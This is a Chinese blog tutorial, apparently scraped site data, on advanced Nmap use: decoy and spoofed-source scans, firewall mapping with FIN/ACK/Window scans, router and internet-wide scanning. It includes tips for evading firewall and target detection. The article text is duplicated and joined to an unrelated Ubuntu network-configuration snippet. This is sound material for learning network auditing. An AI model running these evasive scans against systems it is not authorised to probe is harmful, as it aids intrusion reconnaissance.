SERVICE\n7/tcp open|filtered echo\n9/tcp open|filtered discard\n11/tcp open|filtered systat\n13/tcp open|filtered daytime\n23/tcp open|filtered telnet\n25/tcp open|filtered smtp\n37/tcp open|filtered time\n79/tcp open|filtered finger\n80/tcp open|filtered http\n更多端口，此处省略\nACK扫描\n然后利用ACK扫描判断端口是否被过滤。针对ACK探测包，未被过滤的端口（无论打开、关闭）会回复RST包。\nnmap -sA -T4 www.lucien116.com\n扫描输出为：\n1\n2\n3\n4\n5\n6\n7\n8\n9\nNotshown:997unfiltered ports\nPORT STATE SERVICE\n135/tcp filtered msrpc\n1434/tcp filtered ms-sql-m\n32777/tcp filtered sometimes-rpc17\n从结果可以997个端口是未被过滤的（unfiltered），而3个（135/1434/32777）被过滤了。所以，将ACK与FIN扫描 的结果结合分析，我们可以找到很多开放的端口。例如7号端口，FIN中得出的状态是:open或filtered，从ACK中得出的状态是 unfiltered，那么该端口只能是open的。\nWindow扫描\n当然也可以利用Window扫描方式，得出一些端口信息，可以与之前扫描分析的结果相互补充。Window扫描方式只对某些TCPIP协议栈才有效。\nwindow扫描原理与ACK类似，发送ACK包探测目标端口，对回复的RST包中的Window size进行解析。在某些TCPIP协议栈实现中，关闭的端口在RST中会将Window size设置为0；而开放的端口将Window size设置成非0的值。\nnmap -sW -p- -T4 www.lucien116.com\n输出结果：\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\nPORT STATE SERVICE\n7/tcp open echo\n9/tcp open discard\n11/tcp open systat\n13/tcp open daytime\n更多端口，此处省略\n在采用多种方式获取出防火墙状态后，可以进一步进行应用程序与版本侦测及OS侦测。\n3 扫描路由器 Nmap内部维护了一份系统与设备的数据库（nmap-os-db），能够识别数千种不同系统与设备。所以，可以用来扫描主流的路由器设备。\n3.1 扫描思科路由器 nmap -p1-25,80,512-515,2001,4001,6001,9001 10.20.0.1/16\n思科路由器会在上述端口中运行了常见的服务。列举出上述端口开放的主机，可以定位到路由器设备可能的IP地址及端口状态。\n3.2 扫描路由器TFTP nmap –sU –p69 –nvv target\n大多数的路由器都支持TFTP协议（简单文件传输协议），该协议常用于备份和恢复路由器的配置文件，运行在UDP 69端口上。使用上述命令可以探测出路由器是否开放TFTP。\n3.3 扫描路由器操作系统 与通用PC扫描方式类似，使用-O选项扫描路由器的操作系统。-F用于快速扫描最可能开放的100个端口，并根据端口扫描结果进一步做OS的指纹分析。\nnmap -O -F -n 192.168.1.1\n4 扫描互联网 Nmap内部的设计非常强大灵活，既能扫描单个主机、小型的局域网，也可以扫描成千上万台主机从中发掘用户关注的信息。扫描大量主机，需要对扫描时序等参数进行仔细的优化。\n4.1 发现互联网上web服务器 nmap -iR 100000 -sS -PS80 -p 80 -oG nmap.txt\n随机地产生10万个IP地址，对其80端口进行扫描。将扫描结果以greppable（可用grep命令提取）格式输出到nmap.txt文件。\n可以使用grep命令从输出文件提取关心的细节信息。\n4.2 统计互联网主机基本数据 Nmap的创始人Fyodor在2008年的Black Hat大会发表一篇演讲，讲的是如何使用Nmap来扫描互联网（Nmap: Scanning the Internet），资料地址： http://nmap.org/presentations/BHDC08/。\nFyodor进行互联网扫描的初衷是统计出网络经验数据并用之优化Nmap的性能。例如，根据统计出每个端口开放的概率，优先扫描常见端口，以节省用户的时间。\n产生随机IP地址\n产生100万个随机的IP地址，并将之保存到文件中，方便后续扫描时作为参数输入。\nnmap -iR 1200000 -sL -n | grep “not scanned” | awk \u0026lsquo;{print $2}’ | sort -n | uniq \u0026gt;! tp; head -25000000 tp \u0026gt;! tcp-allports-1M-IPs; rm tp\n上述命令含义：随机生成1200000个IP地址（-iR 120000），并进行列表扫描（-sL，列举出IP地址，不进行真正的扫描），不进行dns解析操作（-n），这样将产生Nmap列表扫描的结果。在此 结果中搜出未扫描的行（grep “not scanned”），打印出每一行的第二列内容（awk \u0026lsquo;{print $2}’，也就是IP地址），然后对获取到的IP地址进行排序（sort -n），然后剔除重复IP地址，将结果保存到临时文件tp，再取出前1000000个IP地址保存到tcp-allports-1M-IPs文件中，删除 临时文件。\n总之，此处产生了1000000个随机IP地址存放在tcp-allports-1M-IPs文件中。\n优化主机发现\nnmap -sP -PE -PP -PS21,22,23,25,80,113,31339-PA80,113,443,10042 –source-port 53 -T4 -iL tcp-allports-1M-IPs\n上述命令进行主机发现：使用产生的IP地址（-iL tcp-allports-1M-IPs），指定发送包的源端口为53（–source-port 53，该端口是DNS查询端口，一般的防火墙都允许来自此端口的数据包），时序级别为4（-T4，探测速度比较快），以TCP SYN包方式探测目标机的21,22,23,25,80,113,31339端口，以TCP ACK包方式探测对方80,113,443,10042端口，另外也发送ICMP ECHO/ICMP TIMESTAMP包探测对方主机。只要上述的探测包中得到一个回复，就可以证明目标主机在线。\n完整的扫描命令\n在准备了必要的IP地址文件，并对主机发现参数优化后，我们就得到最终的扫描命令：\nnmap -S [srcip] -d –max-scan-delay 10 -oAlogs/tcp-allports-%T-%D -iL tcp-allports-1M-IPs –max-retries 1–randomize-hosts -p- -PS21,22,23,25,53,80,443 -T4 –min-hostgroup 256 –min-rate175 –max-rate 300\n上述命令用于扫描互联网上100万台主机全部的TCP端口的开放情况。\n使用包含100万个IP地址的文件（-iL tcp-allports-1M-IPs），源端IP地址设置为srcip(指定一个IP地址，保证该IP地址位于统一局域网中，否则无法收到目标机的回 复包)，主机发现过程使用TCP SYN包探测目标机的21,22,23,25,53,80,443，扫描过程将随机打乱主机顺序（–randomize-hosts，因为文件中的IP 已经排序，这里将之打乱，避免被防火墙检查出），端口扫描过程检查全部的TCP端口（-p-，端口1到65535），使用时序级别为4（-T4，速度比较 快），将结果以XML/grepable/普通格式输出到文件中（-oA logs/tcp-allports-%T-%D，其中%T表示扫描时间，%D表示扫描日期）。\n-d表示打印调试出信息。\n–max-scan-delay 10表示发包最多延时10秒，防止特殊情景下等待过长的时间。\n–max-retries 1，表示端口扫描探测包最多被重传一次，防止Nmap在没有收到回复的情况下多次重传探测包，当然这样也会降低探测的准确性。\n–min-host-group 256表示进行端口扫描与版本侦测时，同时进行探测的主机的数量，这里至少256个主机一组来进行扫描，可以加快扫描速度。\n–min-rate 175和–max-rate 300，表示发包速率介于175和300之间，保证扫描速度不会太慢，也不会因为速率过高引起目标机的警觉。\n扫描结果\nFyodor组织的此次扫描得出很多重要结论，统计出了互联网最有可能开放的10个TCP端口。\n80 (http) 23 (telnet) 22 (ssh) 443 (https) 3389 (ms-term-serv) 445 (microsoft-ds) 139 (netbios-ssn) 21 (ftp) 135 (msrpc) 25 (smtp) 最有可能开放的10个UDP端口。\n137 (netbios-ns) 161 (snmp) 1434 (ms-sql-m) 123 (ntp) 138 (netbios-dgm) 445 (microsoft-ds) 135 (msrpc) 67 (dhcps) 139 (netbios-ssn) 53 (domain) 5 扫描Web站点 Web是互联网上最广泛的应用，而且越来越多的服务倾向于以Web形式提供出来，所以对Web安全监管也越来越重要。目前安全领域有很多专门的 Web扫描软件（如AppScan、WebInspect、W3AF），能够提供端口扫描、漏洞扫描、漏洞利用、分析报表等诸多功能。而Nmap作为一款 开源的端口扫描器，对Web扫描方面支持也越来越强大，可以完成Web基本的信息探测：服务器版本、支持的Method、是否包含典型漏洞。功能已经远远 超过同领域的其他开源软件，如HTTPrint、Httsquash。\n目前Nmap中对Web的支持主要通过Lua脚本来实现，NSE脚本库中共有50多个HTTP相关的脚本。\n扫描实例：\nnmap -sV -p 80 -T4 –script http*,defaultscanme.nmap.org\n上面以扫描scanme.nmap.org的Web应用展示Nmap提供Web扫描能力，从图中可以看到扫描结果中提供了比较丰富的信息。\n首先是应用程序及版本： Apachehttpd 2.2.14 (Ubuntu)\n然后搜出了该站点的affiliate-id:该ID可用于识别同一拥有者的不同页面。\n然后输出HTTP-headers信息，从中查看到基本配置信息。\n从http-title中，可以看到网页标题。某些网页标题可能会泄漏重要信息，所以这里也应对其检查。\n","permalink":"https://www.lucien116.com/archives/72/","summary":"\u003cp\u003eNmap提供了四项基本功能（主机发现、端口扫描、服务与版本侦测、OS侦测）及丰富的脚本库。Nmap既能应用于简单的网络信息扫描，也能用在高级、复杂、特定的环境中：例如扫描互联网上大量的主机；绕开防火墙/IDS/IPS；扫描Web站点；扫描路由器等等。简要回顾Nmap简单的扫描方式：\u003c/p\u003e\n\u003cp\u003e1\u003c/p\u003e\n\u003cp\u003e2\u003c/p\u003e\n\u003cp\u003e3\u003c/p\u003e\n\u003cp\u003e4\u003c/p\u003e\n\u003cp\u003e5\u003c/p\u003e\n\u003cp\u003e6\u003c/p\u003e\n\u003cp\u003e7\u003c/p\u003e\n\u003cp\u003e8\u003c/p\u003e\n\u003cp\u003e9\u003c/p\u003e\n\u003cp\u003e全面扫描：nmap-T4-Atargetip\u003c/p\u003e\n\u003cp\u003e主机发现：nmap-T4-sn targetip\u003c/p\u003e\n\u003cp\u003e端口扫描：nmap-T4 targetip\u003c/p\u003e\n\u003cp\u003e服务扫描：nmap-T4-sV targetip\u003c/p\u003e\n\u003cp\u003e操作系统扫描：nmap-T4-Otargetip\u003c/p\u003e\n\u003cp\u003e上述的扫描方式能满足一般的信息搜集需求。而若想利用Nmap探索出特定的场景中更详细的信息，则需仔细地设计Nmap命令行参数，以便精确地控制Nmap的扫描行为。\u003c/p\u003e\n\u003cp\u003e下面列举比较实用的高级应用场景和技巧。\u003c/p\u003e\n\u003ch1 id=\"1nmap高级选项\"\u003e1     Nmap高级选项\u003c/h1\u003e\n\u003ch2 id=\"11-查看本地路由与接口\"\u003e1.1  查看本地路由与接口\u003c/h2\u003e\n\u003cp\u003eNmap中提供了–iflist选项来查看本地主机的接口信息与路由信息。当遇到无法达到目标主机或想选择从多块网卡中某一特定网卡访问目标主机时，可以查看nmap –iflist中提供的网络接口信息。\u003c/p\u003e\n\u003cp\u003enmap –iflist\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image81.360doc.com/DownloadImg/2015/01/1617/49147857_1.png\" title=\"Nmap在实战中的高级用法\"\u003e\u003cimg loading=\"lazy\" src=\"http://image81.360doc.com/DownloadImg/2015/01/1617/49147857_1.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"12-指定网口与ip地址\"\u003e1.2  指定网口与IP地址\u003c/h2\u003e\n\u003cp\u003e在Nmap可指定用哪个网口发送数据，-e \u003cinterface\u003e选项。接口的详细信息可以参考–iflist选项输出结果。\u003c/p\u003e\n\u003cp\u003e示例：\u003c/p\u003e\n\u003cp\u003enmap -e eth0 targetip\u003c/p\u003e\n\u003cp\u003eNmap也可以显式地指定发送的源端IP地址。使用-S \u003cspoofip\u003e选项，nmap将用指定的spoofip作为源端IP来发送探测包。\u003c/p\u003e\n\u003cp\u003e另外可以使用Decoy（诱骗）方式来掩盖真实的扫描地址，例如-D ip1,ip2,ip3,ip4,ME，这样就会产生多个虚假的ip同时对目标机进行探测，其中ME代表本机的真实地址，这样对方的防火墙不容易识别出是扫描者的身份。\u003c/p\u003e\n\u003cp\u003enmap -T4 -F -n -Pn -D192.168.1.100,192.168.1.101,192.168.1.102,ME 192.168.1.1\u003c/p\u003e\n\u003ch2 id=\"13-定制探测包\"\u003e1.3  定制探测包\u003c/h2\u003e\n\u003cp\u003eNmap提供–scanflags选项，用户可以对需要发送的TCP探测包的标志位进行完全的控制。可以使用数字或符号指定TCP标志位：URG, ACK, PSH,RST, SYN,and FIN。\u003c/p\u003e\n\u003cp\u003e例如，\u003c/p\u003e\n\u003cp\u003enmap -sX -T4 –scanflags URGACKPSHRSTSYNFINtargetip\u003c/p\u003e\n\u003cp\u003e此命令设置全部的TCP标志位为1，可以用于某些特殊场景的探测。\u003c/p\u003e\n\u003cp\u003e另外使用–ip-options可以定制IP包的options字段。\u003c/p\u003e\n\u003cp\u003e使用-S指定虚假的IP地址，-D指定一组诱骗IP地址（ME代表真实地址）。-e指定发送探测包的网络接口，-g（–source- port）指定源端口，-f指定使用IP分片方式发送探测包，–spoof-mac指定使用欺骗的MAC地址。–ttl指定生存时间。\u003c/p\u003e\n\u003ch1 id=\"2扫描防火墙\"\u003e2     扫描防火墙\u003c/h1\u003e\n\u003cp\u003e防火墙在今天网络安全中扮演着重要的角色，如果能对防火墙系统进行详细的探测，那么绕开防火墙或渗透防火墙就更加容易。所以，此处讲解利用Nmap获取防火墙基本信息典型的用法。\u003c/p\u003e\n\u003cp\u003e为了获取防火墙全面的信息，需尽可能多地结合不同扫描方式来探测其状态。在设计命令行参数时，可以综合网络环境来微调时序参数，以便加快扫描速度。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSYN扫描\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e首先可以利用基本的SYN扫描方式探测其端口开放状态。\u003c/p\u003e\n\u003cp\u003enmap -sS -T4 \u003ca href=\"https://www.lucien116.com\"\u003ewww.lucien116.com\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e扫描输出为：\u003c/p\u003e\n\u003cp\u003e1\u003c/p\u003e\n\u003cp\u003e2\u003c/p\u003e\n\u003cp\u003e3\u003c/p\u003e\n\u003cp\u003e4\u003c/p\u003e\n\u003cp\u003e5\u003c/p\u003e\n\u003cp\u003e6\u003c/p\u003e\n\u003cp\u003e7\u003c/p\u003e\n\u003cp\u003e8\u003c/p\u003e\n\u003cp\u003e9\u003c/p\u003e\n\u003cp\u003eAll997ports are filtered\u003c/p\u003e\n\u003cp\u003ePORT    STATE  SERVICE\u003c/p\u003e\n\u003cp\u003e80/tcp  open   http\u003c/p\u003e\n\u003cp\u003e113/tcp closed auth\u003c/p\u003e\n\u003cp\u003e507/tcp open   crs\u003c/p\u003e\n\u003cp\u003e我们可以看到SYN方式探测到3个端口开放，而有997个端口被过滤。Nmap默认扫描只扫描1000个最可能开放的端口，如果想扫描全部的端口.\u003c/p\u003e\n\u003cp\u003e使用命令nmap -sS -T4 \u003cstrong\u003e-p-\u003c/strong\u003e www.lucien116.com\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFIN扫描\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e然后可以利用FIN扫描方式探测防火墙状态。FIN扫描方式用于识别端口是否关闭，收到RST回复说明该端口关闭，否则说明是open或filtered状态。\u003c/p\u003e\n\u003cp\u003enmap -sF -T4 www.lucien116.com\u003c/p\u003e\n\u003cp\u003e1\u003c/p\u003e\n\u003cp\u003e2\u003c/p\u003e\n\u003cp\u003e3\u003c/p\u003e\n\u003cp\u003e4\u003c/p\u003e\n\u003cp\u003e5\u003c/p\u003e\n\u003cp\u003e6\u003c/p\u003e\n\u003cp\u003e7\u003c/p\u003e\n\u003cp\u003e8\u003c/p\u003e\n\u003cp\u003e9\u003c/p\u003e\n\u003cp\u003e10\u003c/p\u003e\n\u003cp\u003e11\u003c/p\u003e\n\u003cp\u003e12\u003c/p\u003e\n\u003cp\u003e13\u003c/p\u003e\n\u003cp\u003e14\u003c/p\u003e\n\u003cp\u003e15\u003c/p\u003e\n\u003cp\u003e16\u003c/p\u003e\n\u003cp\u003e17\u003c/p\u003e\n\u003cp\u003e18\u003c/p\u003e\n\u003cp\u003e19\u003c/p\u003e\n\u003cp\u003e20\u003c/p\u003e\n\u003cp\u003e21\u003c/p\u003e\n\u003cp\u003ePORT      STATE         SERVICE\u003c/p\u003e\n\u003cp\u003e7/tcp     open|filtered echo\u003c/p\u003e\n\u003cp\u003e9/tcp     open|filtered discard\u003c/p\u003e\n\u003cp\u003e11/tcp    open|filtered systat\u003c/p\u003e\n\u003cp\u003e13/tcp    open|filtered daytime\u003c/p\u003e\n\u003cp\u003e23/tcp    open|filtered telnet\u003c/p\u003e\n\u003cp\u003e25/tcp    open|filtered smtp\u003c/p\u003e\n\u003cp\u003e37/tcp    open|filtered time\u003c/p\u003e\n\u003cp\u003e79/tcp    open|filtered finger\u003c/p\u003e\n\u003cp\u003e80/tcp    open|filtered http\u003c/p\u003e\n\u003cp\u003e更多端口，此处省略\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eACK扫描\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e然后利用ACK扫描判断端口是否被过滤。针对ACK探测包，未被过滤的端口（无论打开、关闭）会回复RST包。\u003c/p\u003e\n\u003cp\u003enmap -sA -T4 \u003ca href=\"https://www.lucien116.com\"\u003ewww.lucien116.com\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e扫描输出为：\u003c/p\u003e\n\u003cp\u003e1\u003c/p\u003e\n\u003cp\u003e2\u003c/p\u003e\n\u003cp\u003e3\u003c/p\u003e\n\u003cp\u003e4\u003c/p\u003e\n\u003cp\u003e5\u003c/p\u003e\n\u003cp\u003e6\u003c/p\u003e\n\u003cp\u003e7\u003c/p\u003e\n\u003cp\u003e8\u003c/p\u003e\n\u003cp\u003e9\u003c/p\u003e\n\u003cp\u003eNotshown:997unfiltered ports\u003c/p\u003e\n\u003cp\u003ePORT      STATE    SERVICE\u003c/p\u003e\n\u003cp\u003e135/tcp   filtered msrpc\u003c/p\u003e\n\u003cp\u003e1434/tcp  filtered ms-sql-m\u003c/p\u003e\n\u003cp\u003e32777/tcp filtered sometimes-rpc17\u003c/p\u003e\n\u003cp\u003e从结果可以997个端口是未被过滤的（unfiltered），而3个（135/1434/32777）被过滤了。所以，将ACK与FIN扫描 的结果结合分析，我们可以找到很多开放的端口。例如7号端口，FIN中得出的状态是:open或filtered，从ACK中得出的状态是 unfiltered，那么该端口只能是open的。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eWindow扫描\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e当然也可以利用Window扫描方式，得出一些端口信息，可以与之前扫描分析的结果相互补充。Window扫描方式只对某些TCPIP协议栈才有效。\u003c/p\u003e\n\u003cp\u003ewindow扫描原理与ACK类似，发送ACK包探测目标端口，对回复的RST包中的Window size进行解析。在某些TCPIP协议栈实现中，关闭的端口在RST中会将Window size设置为0；而开放的端口将Window size设置成非0的值。\u003c/p\u003e\n\u003cp\u003enmap -sW -p- -T4 \u003ca href=\"https://www.lucien116.com\"\u003ewww.lucien116.com\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e输出结果：\u003c/p\u003e\n\u003cp\u003e1\u003c/p\u003e\n\u003cp\u003e2\u003c/p\u003e\n\u003cp\u003e3\u003c/p\u003e\n\u003cp\u003e4\u003c/p\u003e\n\u003cp\u003e5\u003c/p\u003e\n\u003cp\u003e6\u003c/p\u003e\n\u003cp\u003e7\u003c/p\u003e\n\u003cp\u003e8\u003c/p\u003e\n\u003cp\u003e9\u003c/p\u003e\n\u003cp\u003e10\u003c/p\u003e\n\u003cp\u003e11\u003c/p\u003e\n\u003cp\u003ePORT      STATE    SERVICE\u003c/p\u003e\n\u003cp\u003e7/tcp     open     echo\u003c/p\u003e\n\u003cp\u003e9/tcp     open     discard\u003c/p\u003e\n\u003cp\u003e11/tcp    open     systat\u003c/p\u003e\n\u003cp\u003e13/tcp    open     daytime\u003c/p\u003e\n\u003cp\u003e更多端口，此处省略\u003c/p\u003e\n\u003cp\u003e在采用多种方式获取出防火墙状态后，可以进一步进行应用程序与版本侦测及OS侦测。\u003c/p\u003e\n\u003ch1 id=\"3扫描路由器\"\u003e3     扫描路由器\u003c/h1\u003e\n\u003cp\u003eNmap内部维护了一份系统与设备的数据库（nmap-os-db），能够识别数千种不同系统与设备。所以，可以用来扫描主流的路由器设备。\u003c/p\u003e\n\u003ch2 id=\"31-扫描思科路由器\"\u003e3.1  扫描思科路由器\u003c/h2\u003e\n\u003cp\u003enmap -p1-25,80,512-515,2001,4001,6001,9001 10.20.0.1/16\u003c/p\u003e\n\u003cp\u003e思科路由器会在上述端口中运行了常见的服务。列举出上述端口开放的主机，可以定位到路由器设备可能的IP地址及端口状态。\u003c/p\u003e\n\u003ch2 id=\"32-扫描路由器tftp\"\u003e3.2  扫描路由器TFTP\u003c/h2\u003e\n\u003cp\u003enmap –sU –p69 –nvv target\u003c/p\u003e\n\u003cp\u003e大多数的路由器都支持TFTP协议（简单文件传输协议），该协议常用于备份和恢复路由器的配置文件，运行在UDP 69端口上。使用上述命令可以探测出路由器是否开放TFTP。\u003c/p\u003e\n\u003ch2 id=\"33-扫描路由器操作系统\"\u003e3.3  扫描路由器操作系统\u003c/h2\u003e\n\u003cp\u003e与通用PC扫描方式类似，使用-O选项扫描路由器的操作系统。-F用于快速扫描最可能开放的100个端口，并根据端口扫描结果进一步做OS的指纹分析。\u003c/p\u003e\n\u003cp\u003enmap -O -F -n 192.168.1.1\u003cimg loading=\"lazy\" src=\"http://image81.360doc.com/DownloadImg/2015/01/1617/49147857_2.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"4扫描互联网\"\u003e4     扫描互联网\u003c/h1\u003e\n\u003cp\u003eNmap内部的设计非常强大灵活，既能扫描单个主机、小型的局域网，也可以扫描成千上万台主机从中发掘用户关注的信息。扫描大量主机，需要对扫描时序等参数进行仔细的优化。\u003c/p\u003e\n\u003ch2 id=\"41-发现互联网上web服务器\"\u003e4.1  发现互联网上web服务器\u003c/h2\u003e\n\u003cp\u003enmap -iR 100000 -sS -PS80 -p 80 -oG nmap.txt\u003c/p\u003e\n\u003cp\u003e随机地产生10万个IP地址，对其80端口进行扫描。将扫描结果以greppable（可用grep命令提取）格式输出到nmap.txt文件。\u003c/p\u003e\n\u003cp\u003e可以使用grep命令从输出文件提取关心的细节信息。\u003c/p\u003e\n\u003ch2 id=\"42-统计互联网主机基本数据\"\u003e4.2  统计互联网主机基本数据\u003c/h2\u003e\n\u003cp\u003eNmap的创始人Fyodor在2008年的Black Hat大会发表一篇演讲，讲的是如何使用Nmap来扫描互联网（Nmap: Scanning the Internet），资料地址： \u003ca href=\"http://nmap.org/presentations/BHDC08/\"\u003ehttp://nmap.org/presentations/BHDC08/\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003eFyodor进行互联网扫描的初衷是统计出网络经验数据并用之优化Nmap的性能。例如，根据统计出每个端口开放的概率，优先扫描常见端口，以节省用户的时间。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e产生随机IP地址\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e产生100万个随机的IP地址，并将之保存到文件中，方便后续扫描时作为参数输入。\u003c/p\u003e\n\u003cp\u003enmap -iR 1200000 -sL -n | grep “not scanned” | awk \u0026lsquo;{print $2}’ | sort -n | uniq \u0026gt;! tp; head -25000000 tp \u0026gt;! tcp-allports-1M-IPs; rm tp\u003c/p\u003e\n\u003cp\u003e上述命令含义：随机生成1200000个IP地址（-iR 120000），并进行列表扫描（-sL，列举出IP地址，不进行真正的扫描），不进行dns解析操作（-n），这样将产生Nmap列表扫描的结果。在此 结果中搜出未扫描的行（grep “not scanned”），打印出每一行的第二列内容（awk \u0026lsquo;{print $2}’，也就是IP地址），然后对获取到的IP地址进行排序（sort -n），然后剔除重复IP地址，将结果保存到临时文件tp，再取出前1000000个IP地址保存到tcp-allports-1M-IPs文件中，删除 临时文件。\u003c/p\u003e\n\u003cp\u003e总之，此处产生了1000000个随机IP地址存放在tcp-allports-1M-IPs文件中。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e优化主机发现\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003enmap -sP -PE -PP -PS21,22,23,25,80,113,31339-PA80,113,443,10042 –source-port 53 -T4 -iL tcp-allports-1M-IPs\u003c/p\u003e\n\u003cp\u003e上述命令进行主机发现：使用产生的IP地址（-iL tcp-allports-1M-IPs），指定发送包的源端口为53（–source-port 53，该端口是DNS查询端口，一般的防火墙都允许来自此端口的数据包），时序级别为4（-T4，探测速度比较快），以TCP SYN包方式探测目标机的21,22,23,25,80,113,31339端口，以TCP ACK包方式探测对方80,113,443,10042端口，另外也发送ICMP ECHO/ICMP TIMESTAMP包探测对方主机。只要上述的探测包中得到一个回复，就可以证明目标主机在线。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e完整的扫描命令\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e在准备了必要的IP地址文件，并对主机发现参数优化后，我们就得到最终的扫描命令：\u003c/p\u003e\n\u003cp\u003enmap -S [srcip] -d –max-scan-delay 10 -oAlogs/tcp-allports-%T-%D -iL tcp-allports-1M-IPs –max-retries 1–randomize-hosts -p- -PS21,22,23,25,53,80,443 -T4 –min-hostgroup 256 –min-rate175 –max-rate 300\u003c/p\u003e\n\u003cp\u003e上述命令用于扫描互联网上100万台主机全部的TCP端口的开放情况。\u003c/p\u003e\n\u003cp\u003e使用包含100万个IP地址的文件（-iL tcp-allports-1M-IPs），源端IP地址设置为srcip(指定一个IP地址，保证该IP地址位于统一局域网中，否则无法收到目标机的回 复包)，主机发现过程使用TCP SYN包探测目标机的21,22,23,25,53,80,443，扫描过程将随机打乱主机顺序（–randomize-hosts，因为文件中的IP 已经排序，这里将之打乱，避免被防火墙检查出），端口扫描过程检查全部的TCP端口（-p-，端口1到65535），使用时序级别为4（-T4，速度比较 快），将结果以XML/grepable/普通格式输出到文件中（-oA logs/tcp-allports-%T-%D，其中%T表示扫描时间，%D表示扫描日期）。\u003c/p\u003e\n\u003cp\u003e-d表示打印调试出信息。\u003c/p\u003e\n\u003cp\u003e–max-scan-delay 10表示发包最多延时10秒，防止特殊情景下等待过长的时间。\u003c/p\u003e\n\u003cp\u003e–max-retries 1，表示端口扫描探测包最多被重传一次，防止Nmap在没有收到回复的情况下多次重传探测包，当然这样也会降低探测的准确性。\u003c/p\u003e\n\u003cp\u003e–min-host-group 256表示进行端口扫描与版本侦测时，同时进行探测的主机的数量，这里至少256个主机一组来进行扫描，可以加快扫描速度。\u003c/p\u003e\n\u003cp\u003e–min-rate 175和–max-rate 300，表示发包速率介于175和300之间，保证扫描速度不会太慢，也不会因为速率过高引起目标机的警觉。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e扫描结果\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eFyodor组织的此次扫描得出很多重要结论，统计出了互联网最有可能开放的10个TCP端口。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e80 (http)\u003c/li\u003e\n\u003cli\u003e23 (telnet)\u003c/li\u003e\n\u003cli\u003e22 (ssh)\u003c/li\u003e\n\u003cli\u003e443 (https)\u003c/li\u003e\n\u003cli\u003e3389 (ms-term-serv)\u003c/li\u003e\n\u003cli\u003e445 (microsoft-ds)\u003c/li\u003e\n\u003cli\u003e139 (netbios-ssn)\u003c/li\u003e\n\u003cli\u003e21 (ftp)\u003c/li\u003e\n\u003cli\u003e135 (msrpc)\u003c/li\u003e\n\u003cli\u003e25 (smtp)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e最有可能开放的10个UDP端口。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e137 (netbios-ns)\u003c/li\u003e\n\u003cli\u003e161 (snmp)\u003c/li\u003e\n\u003cli\u003e1434 (ms-sql-m)\u003c/li\u003e\n\u003cli\u003e123 (ntp)\u003c/li\u003e\n\u003cli\u003e138 (netbios-dgm)\u003c/li\u003e\n\u003cli\u003e445 (microsoft-ds)\u003c/li\u003e\n\u003cli\u003e135 (msrpc)\u003c/li\u003e\n\u003cli\u003e67 (dhcps)\u003c/li\u003e\n\u003cli\u003e139 (netbios-ssn)\u003c/li\u003e\n\u003cli\u003e53 (domain)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"5扫描web站点\"\u003e5     扫描Web站点\u003c/h1\u003e\n\u003cp\u003eWeb是互联网上最广泛的应用，而且越来越多的服务倾向于以Web形式提供出来，所以对Web安全监管也越来越重要。目前安全领域有很多专门的 Web扫描软件（如AppScan、WebInspect、W3AF），能够提供端口扫描、漏洞扫描、漏洞利用、分析报表等诸多功能。而Nmap作为一款 开源的端口扫描器，对Web扫描方面支持也越来越强大，可以完成Web基本的信息探测：服务器版本、支持的Method、是否包含典型漏洞。功能已经远远 超过同领域的其他开源软件，如HTTPrint、Httsquash。\u003c/p\u003e\n\u003cp\u003e目前Nmap中对Web的支持主要通过Lua脚本来实现，NSE脚本库中共有50多个HTTP相关的脚本。\u003c/p\u003e\n\u003cp\u003e扫描实例：\u003c/p\u003e\n\u003cp\u003enmap -sV -p 80 -T4 –script http*,defaultscanme.nmap.org\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://image81.360doc.com/DownloadImg/2015/01/1617/49147857_3.png\"\u003e\u003c/p\u003e\n\u003cp\u003e　　上面以扫描scanme.nmap.org的Web应用展示Nmap提供Web扫描能力，从图中可以看到扫描结果中提供了比较丰富的信息。\u003c/p\u003e\n\u003cp\u003e首先是应用程序及版本： \u003cstrong\u003eApachehttpd 2.2.14 (Ubuntu)\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e然后搜出了该站点的affiliate-id:该ID可用于识别同一拥有者的不同页面。\u003c/p\u003e\n\u003cp\u003e然后输出HTTP-headers信息，从中查看到基本配置信息。\u003c/p\u003e\n\u003cp\u003e从http-title中，可以看到网页标题。某些网页标题可能会泄漏重要信息，所以这里也应对其检查。\u003c/p\u003e\n","title":"Nmap在实战中的高级用法"},{"content":"【Server版本】 在UbuntuServer版本中，因为只存有命令行模式，所以要想进行网络参数设置，只能通过修改/etc/network/interfaces。具体设置方法如下： (1) UbuntuServer 修改 IP地址 打开/etc/network/interfaces sudo vim/etc/network/interfaces 加入以下语句： auto eth0 iface eth0inet static addressxxx.xxx.xxx.xxx #IP地址 netmaskxxx.xxx.xxx.xxx #子网掩码 gatewayxxx.xxx.xxx.xxx #网关 (2) UbuntuServer 修改 DNS 打开/etc/resolv.conf sudo vim/etc/resolv.conf 改为如下内容： searchlocaldomain #如果本Server为DNS服务器，可以加上这一句，如果不是，可以不加 nameserver172.16.3.4 #希望修改成的DNS nameserver172.16.3.3 